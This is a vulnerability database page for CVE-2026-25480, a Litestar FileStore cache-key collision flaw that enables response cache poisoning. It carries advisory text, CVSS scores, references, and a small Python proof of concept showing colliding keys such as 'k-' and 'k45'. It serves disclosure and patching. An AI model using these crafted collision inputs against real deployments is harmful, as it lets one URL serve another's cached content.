Vulnerability-Lookup

CVE-2026-25480 (GCVE-0-2026-25480)

Vulnerability from cvelistv5 – Published: 2026-02-09 18:49 – Updated: 2026-02-10 16:01

Title

FileStore key canonicalization collisions allow response cache mixup/poisoning (ASCII ord + Unicode NFKD)

Summary

Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.20.0, FileStore maps cache keys to filenames using Unicode NFKD normalization and ord() substitution without separators, creating key collisions. When FileStore is used as response-cache backend, an unauthenticated remote attacker can trigger cache key collisions via crafted paths, causing one URL to serve cached responses of another (cache poisoning/mixup). This vulnerability is fixed in 2.20.0.

Severity ?

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

CWE

CWE-176 - Improper Handling of Unicode Encoding

Assigner

GitHub_M

References

URL

Tags

	https://github.com/litestar-org/litestar/security…	x_refsource_CONFIRM
	https://github.com/litestar-org/litestar/commit/8…	x_refsource_MISC
	https://docs.litestar.dev/2/release-notes/changel…	x_refsource_MISC
	https://github.com/litestar-org/litestar/releases…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	litestar-org	litestar	Affected: < 2.20.0

Show details on NVD website

JSON

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GHSA-VXQX-RH46-Q2PG

Vulnerability from github – Published: 2026-02-09 17:19 – Updated: 2026-02-09 22:38

Summary

Litestar's FileStore key canonicalization collisions allow response cache mixup/poisoning (ASCII ord + Unicode NFKD)

Details

Summary

FileStore maps cache keys to filenames using Unicode NFKD normalization and ord() substitution without separators, creating key collisions. When FileStore is used as response-cache backend, an unauthenticated remote attacker can trigger cache key collisions via crafted paths, causing one URL to serve cached responses of another (cache poisoning/mixup)

Details

litestar.stores.file._safe_file_name() normalizes input with unicodedata.normalize("NFKD", name) and builds the filename by concatenating c if alphanumeric else str(ord(c)) (no delimiter). This transformation is not injective, e.g.:

"k-" and "k45" both become "k45" (because - ord('-') == 45)
"k/\n" becomes "k4710", colliding with "k4710"
"K" (Kelvin sign) normalizes to "K", colliding with "K"

When used in response caching, the default cache key includes request path and sorted query params, which are attacker-controlled.

PoC

import asyncio, tempfile
from litestar.stores.file import FileStore

async def main():
    d = tempfile.mkdtemp(prefix="ls_filestore_poc_")
    store = FileStore(d, create_directories=True)
    await store.__aenter__()

    # 1) ASCII ord-collision: "-" -> 45
    await store.set("k-", b"A")
    v = await store.get("k45")
    print("k-  ->", v)
    print("k45 ->", await store.get("k45"))
    if v == b"A":
        print("VULNERABLE: 'k-' collides with 'k45'")

    # 2) NFKD collision: Kelvin sign -> K
    await store.set("K", b"B")   # U+212A
    v2 = await store.get("K")
    print("K ->", await store.get("K"))
    print("K ->", v2)
    if v2 == b"B":
        print("VULNERABLE: 'K' collides with 'K' (NFKD)")

if __name__ == "__main__":
    asyncio.run(main())

Impact

Vulnerability type: cache poisoning / cache key collision. Impacted deployments: applications using Litestar response caching with FileStore backend (or any attacker-influenced keying into FileStore). Possible impact: serving incorrect cached content across distinct URLs, potential confidentiality/integrity issues depending on what endpoints are cached.

Severity ?

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "litestar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.19.0"
            },
            {
              "fixed": "2.20.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.19.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25480"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-176",
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-09T17:19:06Z",
    "nvd_published_at": "2026-02-09T20:15:57Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nFileStore maps cache keys to filenames using Unicode NFKD normalization and ord() substitution without separators, creating key collisions. When FileStore is used as response-cache backend, an unauthenticated remote attacker can trigger cache key collisions via crafted paths, causing one URL to serve cached responses of another (cache poisoning/mixup)\n\n### Details\nlitestar.stores.file._safe_file_name() normalizes input with unicodedata.normalize(\"NFKD\", name) and builds the filename by concatenating c if alphanumeric else str(ord(c)) (no delimiter).\nThis transformation is not injective, e.g.:\n\n- \"k-\" and \"k45\" both become \"k45\" (because - ord(\u0027-\u0027) == 45)\n- \"k/\\n\" becomes \"k4710\", colliding with \"k4710\"\n- \"\u212a\" (Kelvin sign) normalizes to \"K\", colliding with \"K\"\n\nWhen used in response caching, the default cache key includes request path and sorted query params, which are attacker-controlled.\n\n### PoC\n\n```\nimport asyncio, tempfile\nfrom litestar.stores.file import FileStore\n\nasync def main():\n    d = tempfile.mkdtemp(prefix=\"ls_filestore_poc_\")\n    store = FileStore(d, create_directories=True)\n    await store.__aenter__()\n\n    # 1) ASCII ord-collision: \"-\" -\u003e 45\n    await store.set(\"k-\", b\"A\")\n    v = await store.get(\"k45\")\n    print(\"k-  -\u003e\", v)\n    print(\"k45 -\u003e\", await store.get(\"k45\"))\n    if v == b\"A\":\n        print(\"VULNERABLE: \u0027k-\u0027 collides with \u0027k45\u0027\")\n\n    # 2) NFKD collision: Kelvin sign -\u003e K\n    await store.set(\"\u212a\", b\"B\")   # U+212A\n    v2 = await store.get(\"K\")\n    print(\"\u212a -\u003e\", await store.get(\"\u212a\"))\n    print(\"K -\u003e\", v2)\n    if v2 == b\"B\":\n        print(\"VULNERABLE: \u0027\u212a\u0027 collides with \u0027K\u0027 (NFKD)\")\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\n### Impact\nVulnerability type: cache poisoning / cache key collision.\nImpacted deployments: applications using Litestar response caching with FileStore backend (or any attacker-influenced keying into FileStore).\nPossible impact: serving incorrect cached content across distinct URLs, potential confidentiality/integrity issues depending on what endpoints are cached.",
  "id": "GHSA-vxqx-rh46-q2pg",
  "modified": "2026-02-09T22:38:14Z",
  "published": "2026-02-09T17:19:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/litestar-org/litestar/security/advisories/GHSA-vxqx-rh46-q2pg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25480"
    },
    {
      "type": "WEB",
      "url": "https://github.com/litestar-org/litestar/commit/85db6183a76f8a6b3fd6ee3c88d860b9f37a2cca"
    },
    {
      "type": "WEB",
      "url": "https://docs.litestar.dev/2/release-notes/changelog.html#2.20.0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/litestar-org/litestar"
    },
    {
      "type": "WEB",
      "url": "https://github.com/litestar-org/litestar/releases/tag/v2.20.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Litestar\u0027s FileStore key canonicalization collisions allow response cache mixup/poisoning (ASCII ord + Unicode NFKD)"
}

FKIE_CVE-2026-25480

Vulnerability from fkie_nvd - Published: 2026-02-09 20:15 - Updated: 2026-02-17 15:12

Severity ?

6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://docs.litestar.dev/2/release-notes/changelog.html#2.20.0	Release Notes
security-advisories@github.com	https://github.com/litestar-org/litestar/commit/85db6183a76f8a6b3fd6ee3c88d860b9f37a2cca	Patch
security-advisories@github.com	https://github.com/litestar-org/litestar/releases/tag/v2.20.0	Release Notes
security-advisories@github.com	https://github.com/litestar-org/litestar/security/advisories/GHSA-vxqx-rh46-q2pg	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	litestar	litestar	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:litestar:litestar:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "67E26161-0CDE-4B8F-A065-04A19BC4CDCB",
              "versionEndExcluding": "2.20.0",
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            }
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          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.20.0, FileStore maps cache keys to filenames using Unicode NFKD normalization and ord() substitution without separators, creating key collisions. When FileStore is used as response-cache backend, an unauthenticated remote attacker can trigger cache key collisions via crafted paths, causing one URL to serve cached responses of another (cache poisoning/mixup). This vulnerability is fixed in 2.20.0."
    },
    {
      "lang": "es",
      "value": "Litestar es un framework de Interfaz de Pasarela de Servidor As\u00edncrono (ASGI). Antes de la versi\u00f3n 2.20.0, FileStore mapea las claves de cach\u00e9 a nombres de archivo utilizando la normalizaci\u00f3n Unicode NFKD y la sustituci\u00f3n ord() sin separadores, creando colisiones de claves. Cuando FileStore se utiliza como backend de cach\u00e9 de respuestas, un atacante remoto no autenticado puede desencadenar colisiones de claves de cach\u00e9 a trav\u00e9s de rutas manipuladas, haciendo que una URL sirva respuestas en cach\u00e9 de otra (envenenamiento/mezcla de cach\u00e9). Esta vulnerabilidad est\u00e1 corregida en la versi\u00f3n 2.20.0."
    }
  ],
  "id": "CVE-2026-25480",
  "lastModified": "2026-02-17T15:12:34.963",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 2.5,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-02-09T20:15:57.330",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://docs.litestar.dev/2/release-notes/changelog.html#2.20.0"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/litestar-org/litestar/commit/85db6183a76f8a6b3fd6ee3c88d860b9f37a2cca"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://github.com/litestar-org/litestar/releases/tag/v2.20.0"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/litestar-org/litestar/security/advisories/GHSA-vxqx-rh46-q2pg"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-176"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-25480 (GCVE-0-2026-25480)

GHSA-VXQX-RH46-Q2PG

Summary

Details

PoC

Impact

FKIE_CVE-2026-25480

Tags

Sightings

Nomenclature